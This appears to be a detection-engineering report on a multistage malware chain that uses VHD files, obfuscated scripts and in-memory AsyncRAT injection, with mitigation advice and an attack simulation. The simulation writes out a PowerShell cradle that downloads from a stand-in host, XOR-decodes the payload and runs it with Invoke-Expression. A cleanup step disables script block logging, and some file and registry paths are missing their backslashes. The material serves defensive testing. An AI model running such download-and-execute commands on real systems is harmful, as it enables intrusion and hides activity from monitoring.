Dead#Vax: Analyzing Multi Stage VHD Delivery and Self Parsing Batch Scripts to Deploy In Memory Shellcode

Summary

The report outlines a sophisticated, multistage malware chain that starts with a phishing email delivering a VHD file hosted via IPFS. When mounted, the VHD triggers a WSF script that launches an obfuscated batch stage, followed by a PowerShell loader. The final stage injects encrypted AsyncRAT x64 shellcode into trusted Windows processes, avoiding any decrypted executable being written to disk.

Investigation

Researchers reverse engineered each phase of execution, detailing VHD based staging, script and batch obfuscation, runtime decryption, memory only payload preparation, and process injection tradecraft. The ultimate payload was confirmed as AsyncRAT delivered as raw 64-bit shellcode, executed directly in memory after decryption.

Mitigation

Block or quarantine VHD/ISO attachments at the email gateway and restrict mounting from userwritable locations. Monitor script execution originating from temporary directories, and enable PowerShell script block logging to capture decode and inject patterns. Hunt memory for the marker byte sequence DE AD BE CA FE BA EF. Deploy Sysmon to record injection relevant activity, including VirtualAllocEx and CreateRemoteThread usage.

Response

If indicators are observed, isolate the endpoint and capture memory dumps to search for the marker and injected regions. Terminate malicious or injected processes, remove any scheduled tasks and WSF/VBS launchers tied to the chain, and block known IPFS gateway domains at DNS/proxy layers. Complete a full forensic review to identify and eradicate any remaining persistence mechanisms.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  An attacker delivers a malicious PowerShell script via a phishing email attachment. The script’s purpose is to download a second‑stage payload, decode it from Base64, apply a rolling XOR to de‑obfuscate the real commands, and finally execute it with Invoke‑Expression.

  1. Stage 1 – Retrieve and store payload:

     $url = "http://malicious.example.com/payload.b64xor"
     $tempFile = "$env:TEMPstage1.bin"
     Invoke-WebRequest -Uri $url -OutFile $tempFile

  2. Stage 2 – Decode Base64 string:

     $b64 = Get-Content $tempFile -Raw
     $bytes = [System.Convert]::FromBase64String($b64)

  3. Stage 3 – Rolling XOR decryption:

     $key = 0x5A
     $decrypted = foreach ($b in $bytes) {
         $b = $b -bxor $key
         $key = $b   # rolling key
         $b
     }
     $decodedCmd = [System.Text.Encoding]::UTF8.GetString($decrypted)

  4. Stage 4 – Execute the decoded command:

     Invoke-Expression $decodedCmd

  The concatenated command line used by the attacker (single line to ensure detection) is:

  $b64 = (Invoke-WebRequest -Uri http://malicious.example.com/payload.b64xor).Content; $bytes = [System.Convert]::FromBase64String($b64); $key = 0x5A; $decrypted = foreach ($b in $bytes) { $b = $b -bxor $key; $key = $b; $b }; $decodedCmd = [System.Text.Encoding]::UTF8.GetString($decrypted); Invoke-Expression $decodedCmd

  This line contains the three strings required by the rule:

  • FromBase64String
  • bxor and foreach
  • Invoke-Expression

• Regression Test Script:

  # -------------------------------------------------
  # PowerShell Base64 + Rolling XOR + IEX Simulation
  # -------------------------------------------------
  # 1. Create a benign payload (e.g., `Get-Process`)
  $payload = 'Get-Process | Where-Object {$_.CPU -gt 100}'
  $payloadBytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
  
  # 2. Apply rolling XOR with initial key 0x5A
  $key = 0x5A
  $xorBytes = foreach ($b in $payloadBytes) {
      $b = $b -bxor $key
      $key = $b
      $b
  }
  
  # 3. Encode the XORed bytes as Base64
  $b64 = [System.Convert]::ToBase64String($xorBytes)
  
  # 4. Build the single‑line attack command
  $attackCmd = @"
  `$b64 = '$b64'; `$bytes = [System.Convert]::FromBase64String(`$b64); `$key = 0x5A; `$decrypted = foreach (`$b in `$bytes) { `$b = `$b -bxor `$key; `$key = `$b; `$b }; `$decodedCmd = [System.Text.Encoding]::UTF8.GetString(`$decrypted); Invoke-Expression `$decodedCmd
  "@
  
  # 5. Execute the crafted command (this triggers the detection)
  Invoke-Expression $attackCmd
  # -------------------------------------------------

• Cleanup Commands:

  # Remove any temporary files (none created in this script)
  # Clear the current PowerShell session variables used for the test
  Remove-Variable -Name b64,bytes,key,decrypted,decodedCmd -ErrorAction SilentlyContinue
  # Optionally, disable script block logging if it was enabled solely for testing
  Set-ItemProperty -Path "HKLM:SOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell" `
                   -Name "ScriptBlockLogging" -Value 0